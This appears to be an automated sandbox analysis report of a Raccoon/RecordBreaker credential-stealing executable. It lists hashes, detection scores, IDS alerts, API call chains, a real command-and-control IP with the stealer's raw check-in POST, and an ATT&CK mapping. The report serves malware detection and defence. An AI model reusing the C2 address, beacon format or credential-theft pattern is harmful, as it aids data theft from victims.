Edit tour

Windows Analysis Report
zRZljp49Uz

Overview

General Information

Sample Name:	zRZljp49Uz (renamed file extension from none to exe)
Analysis ID:	650286
MD5:	0cfa58846e43dd67b6d9f29e97f6c53e
SHA1:	19d9fbfd9b23d4bd435746a524443f1a962d42fa
SHA256:	022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03
Tags:	exeRaccoonStealerRecordBreaker
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Uses 32bit PE files

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to query locales information (e.g. system language)

Found evasive API chain checking for process token information

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to dynamically determine API calls

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

Program does not show much activity (idle)

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

zRZljp49Uz.exe (PID: 7056 cmdline: "C:\Users\user\Desktop\zRZljp49Uz.exe" MD5: 0CFA58846E43DD67B6D9F29E97F6C53E)

cleanup

Snort Signatures

ET TROJAN Win32/RecordBreaker CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 51.195.166.184

Timestamp:	192.168.2.551.195.166.18449746802036934 06/22/22-12:00:13.668134
SID:	2036934
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic Stealer Config Download Request - Source IP: 192.168.2.5 - Destination IP: 51.195.166.184

Timestamp:	192.168.2.551.195.166.18449746802036882 06/22/22-12:00:13.668134
SID:	2036882
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: zRZljp49Uz.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: zRZljp49Uz.exe	Virustotal: Detection: 73%	Perma Link
Source: zRZljp49Uz.exe	Metadefender: Detection: 28%	Perma Link
Source: zRZljp49Uz.exe	ReversingLabs: Detection: 88%

Antivirus detection for URL or domain

Source: http://51.195.166.184/

Avira URL Cloud: Label: malware

Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A41806 lstrlen,LocalAlloc,LocalAlloc,lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00A41806
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A41726 CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,StrCpyW,LocalFree,LocalFree,	0_2_00A41726
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A417A1 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,	0_2_00A417A1
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4617D LocalAlloc,CryptStringToBinaryA,lstrlen,CryptStringToBinaryA,MultiByteToWideChar,LocalAlloc,MultiByteToWideChar,StrCpyW,LocalFree,StrCpyW,StrCpyW,LocalFree,	0_2_00A4617D
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A43244 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	0_2_00A43244
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A427C6 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	0_2_00A427C6
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A42CC6 LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,PathCombineW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,CopyFileW,DeleteFileW,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,lstrcmpW,wsprintfW,lstrlenW,wsprintfW,lstrlenW,CryptUnprotectData,lstrcmpW,wsprintfW,lstrlenW,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_00A42CC6

Source: zRZljp49Uz.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: zRZljp49Uz.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A41E26 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,StrCpyW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,wsprintfW,PathCombineW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	0_2_00A41E26
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4AF2C LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose,	0_2_00A4AF2C
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4643A LocalAlloc,StrCpyW,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	0_2_00A4643A
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A41B13 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,PathCombineW,LocalFree,lstrlenW,FindNextFileW,FindClose,	0_2_00A41B13
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4B29D LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	0_2_00A4B29D
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A43C9D StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	0_2_00A43C9D
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A439E5 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_00A439E5
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A49DEA LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_00A49DEA
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A45870 LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_00A45870
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4197C FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	0_2_00A4197C
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A46053 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW,	0_2_00A46053

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: 0_2_00A45D00 LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,GetLogicalDriveStringsW,GetDriveTypeW,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,StrStrW,StrStrW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,StrStrW,GetEnvironmentVariableW,LocalFree,LocalFree,StrCpyW,LocalFree,LocalFree,

0_2_00A45D00

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036882 ET TROJAN Generic Stealer Config Download Request 192.168.2.5:49746 -> 51.195.166.184:80
Source: Traffic	Snort IDS: 2036934 ET TROJAN Win32/RecordBreaker CnC Checkin 192.168.2.5:49746 -> 51.195.166.184:80

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

IP Address: 51.195.166.184 51.195.166.184

Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.166.184
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.166.184
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.166.184
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.166.184
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.166.184

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3 (Ubuntu)Date: Wed, 22 Jun 2022 10:00:13 GMTContent-Type: text/html; charset=utf-8Content-Length: 14Connection: keep-aliveContent-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requestsCross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originX-DNS-Prefetch-Control: offExpect-CT: max-age=0X-Frame-Options: SAMEORIGINStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Download-Options: noopenX-Content-Type-Options: nosniffOrigin-Agent-Cluster: ?1X-Permitted-Cross-Domain-Policies: noneReferrer-Policy: no-referrerX-XSS-Protection: 0ETag: W/"e-vDAjs2Bjp2gdskaBRytU+hHw1Ow"Data Raw: 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: Page not found

Source: zRZljp49Uz.exe, 00000000.00000002.415337506.0000000000802000.00000004.00000020.00020000.00000000.sdmp, zRZljp49Uz.exe, 00000000.00000003.414770587.0000000000802000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: http://51.195.166.184/

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: recordHost: 51.195.166.184Content-Length: 95Connection: Keep-AliveCache-Control: no-cacheData Raw: 6d 61 63 68 69 6e 65 49 64 3d 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 7c 61 6c 66 6f 6e 73 26 63 6f 6e 66 69 67 49 64 3d 35 39 63 39 37 33 37 32 36 34 63 30 62 33 32 30 39 64 39 31 39 33 62 38 64 65 64 36 63 31 32 37 Data Ascii: machineId=d06ed635-68f6-4e9a-955c-4899f5f57b9a|user&configId=59c9737264c0b3209d9193b8ded6c127

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: 0_2_00A479F3 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,StrStrW,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,InternetOpenW,InternetOpenW,InternetConnectW,InternetConnectW,HttpOpenRequestW,HttpOpenRequestW,lstrlen,HttpSendRequestW,lstrlenW,HttpSendRequestW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,lstrlen,MultiByteToWideChar,MultiByteToWideChar,LocalAlloc,lstrlen,MultiByteToWideChar,MultiByteToWideChar,LocalFree,LocalFree,LocalFree,

0_2_00A479F3

Source: zRZljp49Uz.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: String function: 00A41806 appears 92 times

Source: zRZljp49Uz.exe	Virustotal: Detection: 73%
Source: zRZljp49Uz.exe	Metadefender: Detection: 28%
Source: zRZljp49Uz.exe	ReversingLabs: Detection: 88%

Source: zRZljp49Uz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: 0_2_00A4A2D7 CreateToolhelp32Snapshot,Process32First,Process32Next,

0_2_00A4A2D7

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Mutant created: \Sessions\1\BaseNamedObjects\8724643052

Source: classification engine

Classification label: mal72.winEXE@1/0@0/1

Source: zRZljp49Uz.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: zRZljp49Uz.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: 0_2_00A41000 LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00A41000

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

0_2_00A41000

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-4226

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

API coverage: 8.0 %

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: 0_2_00A49188 LocalAlloc,LocalAlloc,LocalAlloc,lstrlen,lstrcpynA,lstrlen,lstrcpynA,lstrlen,lstrcpynA,GetSystemInfo,wsprintfW,LocalFree,LocalFree,LocalFree,LocalFree,

0_2_00A49188

Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A41E26 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,StrCpyW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,wsprintfW,PathCombineW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	0_2_00A41E26
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4AF2C LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose,	0_2_00A4AF2C
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4643A LocalAlloc,StrCpyW,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	0_2_00A4643A
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A41B13 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,PathCombineW,LocalFree,lstrlenW,FindNextFileW,FindClose,	0_2_00A41B13
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4B29D LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	0_2_00A4B29D
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A43C9D StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	0_2_00A43C9D
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A439E5 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	0_2_00A439E5
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A49DEA LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_00A49DEA
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A45870 LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_00A45870
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A4197C FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	0_2_00A4197C
Source: C:\Users\user\Desktop\zRZljp49Uz.exe	Code function: 0_2_00A46053 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW,	0_2_00A46053

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

API call chain: ExitProcess graph end node

graph_0-3740

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

0_2_00A45D00

Source: zRZljp49Uz.exe, 00000000.00000002.415337506.0000000000802000.00000004.00000020.00020000.00000000.sdmp, zRZljp49Uz.exe, 00000000.00000003.414770587.0000000000802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: zRZljp49Uz.exe, 00000000.00000002.415337506.0000000000802000.00000004.00000020.00020000.00000000.sdmp, zRZljp49Uz.exe, 00000000.00000003.414770587.0000000000802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

0_2_00A41000

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: LocalAlloc,LocalAlloc,LocalAlloc,GetLocaleInfoW,GetUserDefaultLCID,GetLocaleInfoW,wsprintfW,LocalFree,LocalFree,

0_2_00A48F1D

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: 0_2_00A49188 cpuid

0_2_00A49188

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: 0_2_00A49055 LocalAlloc,GetTimeZoneInformation,LocalAlloc,wsprintfW,LocalFree,

0_2_00A49055

Source: C:\Users\user\Desktop\zRZljp49Uz.exe

Code function: 0_2_00A4A798 LocalAlloc,GetUserNameW,

0_2_00A4A798

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	Path Interception	Path Interception	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Obfuscated Files or Information	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
